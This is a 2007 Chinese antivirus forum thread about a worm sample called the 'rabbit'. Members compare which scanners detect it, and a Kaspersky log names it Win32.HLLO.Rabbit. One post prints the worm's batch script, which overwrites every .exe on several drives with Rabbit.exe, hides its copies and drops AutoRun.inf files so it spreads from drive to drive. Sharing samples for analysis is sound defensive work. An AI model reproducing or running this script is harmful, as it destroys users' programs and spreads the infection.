兔子一只，过卡巴6扫描

beat2

作者的美工明显进步了，这个兔子比以前的好看多了

FOR  %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>c:\windows\msconfig.inf
cd C:\Program Files
dir *.exe /s /b >>c:\windows\msconfig1.inf
LOVETZ.bat
del %0

FOR  /f "delims=" %%i in (c:\windows\msconfig.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
FOR  /f "delims=" %%i in (c:\windows\msconfig1.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
del %0

attrib +s +h C:\WINDOWS\system32\msexch400.dll
attrib +s +h d:\Rabbit.exe
attrib +s +h e:\Rabbit.exe
attrib +s +h c:\Rabbit.exe
attrib +s +h f:\Rabbit.exe
attrib +s +h g:\Rabbit.exe
attrib +s +h h:\Rabbit.exe
attrib +s +h e:\AutoRun.inf
attrib +s +h f:\AutoRun.inf
attrib +s +h c:\AutoRun.inf
attrib +s +h d:\AutoRun.inf
attrib +s +h h:\AutoRun.inf
attrib +s +h g:\AutoRun.inf

[ 本帖最后由 beat2 于 2007-6-3 17:29 编辑 ]

promised

原帖由 红心王子 于 2007-6-3 17:24 发表
卡巴7没报
真为它的启发担忧

你把报壳关了，看看费尔到底报不报

红心王子

原帖由 promised 于 2007-6-3 17:26 发表

你把报壳关了，看看费尔到底报不报

不报
报的就是壳
探测未知壳

aoyang

啊兔

红心王子

我都不敢运行，原来是条虫子

virus007

咖啡杀了

moo77

还好，nod/avg都发现了 呵呵

ivan_t

MCAFEE半路拦截.

蓝色牛仔裤

可恶的兔子！


[Scan path] C:\Documents and Settings\Administrator\桌面\rabbi\rabbi.exe
C:\Documents and Settings\Administrator\桌面\rabbi\rabbi.exe infected with Win32.HLLO.Rabbit

-----------------------------------------------------------------------------
Scan statistics
-----------------------------------------------------------------------------
Objects scanned: 3
Infected objects found: 1
Objects with modifications found: 0
Suspicious objects found: 0
Adware programs found: 0
Dialer programs found: 0
Joke programs found: 0
Riskware programs found: 0
Hacktool programs found: 0
Objects cured: 0
Objects deleted: 0
Objects renamed: 0
Objects moved: 0
Objects ignored: 0
Scan speed: 189 Kb/s
Scan time: 00:00:00

scottxzt

挂过的吧